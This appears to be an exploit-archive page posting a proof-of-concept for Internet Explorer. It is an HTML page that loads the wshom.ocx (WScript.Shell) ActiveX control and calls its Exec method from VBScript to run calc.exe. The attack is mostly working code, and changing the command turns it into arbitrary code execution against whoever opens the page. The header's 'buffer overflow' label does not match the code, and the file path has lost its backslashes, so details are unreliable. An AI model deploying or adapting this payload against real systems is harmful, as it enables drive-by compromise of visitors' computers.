[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : IE wshom.ocx ActiveX Control Remote Code Execution
# Published : 2010-01-16
# Author : germaya_x and D3V!L FUCKER
# Previous Title : JcomBand toolbar on IE ActiveX Buffer Overflow Exploit
# Next Title : Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF Exploit 


#######################################################################
#IE ActiveX remote bof (remote code excution)
#version: all versions
#Author:    [germaya_x & D3V!L FUCKER]
#special thanx: [for my best friend his0k4].
#Geetz [2] :[Sarbot511 ,thrid-devil].
#tested on : windows 7 , windows vista ,windows xp sp2
#######################################################################
<html>
<p align="left"><b><font face="Segoe Script" size="7">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</font></b></p>
<p>
<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='target' ></object>
<script language='vbscript'>

arg1="c:WINDOWSsystem32calc.exe"

target.Exec arg1 

</script></p>